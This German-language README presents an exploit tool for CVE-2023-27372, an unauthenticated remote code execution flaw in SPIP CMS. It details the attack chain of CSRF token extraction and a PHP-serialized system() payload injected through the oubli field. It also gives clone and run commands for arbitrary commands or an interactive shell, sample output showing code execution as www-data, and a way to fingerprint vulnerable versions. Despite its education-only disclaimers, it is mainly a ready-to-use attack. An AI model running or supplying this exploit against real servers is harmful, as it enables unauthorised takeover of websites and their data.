
Exploit für CVE-2023-27372 mit interaktiver Shell
Exploit für CVE-2023-27372, eine nicht authentifizierte Remote Code Execution Schwachstelle im SPIP CMS, die Versionen vor 4.2.1 betrifft.
⚠️ Nur für Bildungszwecke. Ausschließlich auf Systemen verwenden, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Die unbefugte Nutzung ist illegal.
SPIP ist ein Open-Source-CMS, das häufig für Web-Publishing verwendet wird. Diese Schwachstelle existiert im Passwort-Wiederherstellungsformular (/spip.php?page=spip_pass), wo der Parameter oubli ohne ordnungsgemäße Bereinigung verarbeitet wird, was einem Angreifer ermöglicht, beliebigen PHP-Code auf dem Server zu injizieren und auszuführen – ohne Authentifizierung.
| Feld | Details |
|---|---|
| CVE | CVE-2023-27372 |
| CVSS-Score | 9.8 (Kritisch) |
| Angriffsvektor | Netzwerk |
| Authentifizierung | Keine erforderlich |
| Betroffene Versionen | SPIP < 4.2.1 |
| Schwachstellentyp | Code Injection / Nicht authentifiziertes RCE |
CSRF-Token abrufen — Eine GET-Anfrage wird an /spip.php?page=spip_pass gesendet, um das formulaire_action_args-Token aus dem HTML-Formular zu extrahieren.
Payload erstellen — Ein PHP-serialisierter String wird mit dem auszuführenden Befehl erstellt:
s:N:"<?php system('COMMAND'); ?>";
Wobei N die genaue Bytelänge des inneren PHP-Strings ist.
Payload senden — Eine POST-Anfrage wird mit dem erstellten Payload im oubli-Feld zusammen mit dem CSRF-Token gesendet. SPIP verarbeitet dieses Feld ohne Bereinigung und führt den injizierten PHP-Code aus.
Ausgabe extrahieren — Die Befehlsausgabe wird in der HTML-Antwort zurückgegeben und aus dem value-Attribut des oubli-Eingabefelds geparst.
requestsbeautifulsoup4argparseregex
git clone https://github.com/scriniarii/CVE-2023-27372
cd CVE-2023-27372
pip install requests beautifulsoup4
python3 exploit.py -u <URL> -c <command>
| Argument | Beschreibung |
|---|---|
-u, --url | Basis-URL der Ziel-SPIP-Instanz |
-c, --command | Betriebssystembefehl, der auf dem Ziel ausgeführt werden soll |
-s, --shell | Interaktive Shell |
python3 exploit.py -u http://TARGET/ -c "id"
python3 exploit.py -u http://TARGET/ -s
Erwartete Ausgabe:
[+] Token found : JWDCxt5PTFzhPb...
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Um die SPIP-Version eines Ziels zu überprüfen, suchen Sie nach dem Meta-Generator-Tag im HTML-Code:
<meta name="generator" content="SPIP 4.2.0" />
[!CAUTION]
⚠️ Haftungsausschluss
Bitte verwenden Sie die Informationen und Exploits in meinen Repositorys nur zu Bildungszwecken und für verantwortungsvolle Offenlegung. Ich bin nicht verantwortlich für Missbrauch oder Schäden, die durch die Verwendung dieser Tools, Skripte oder Exploits entstehen.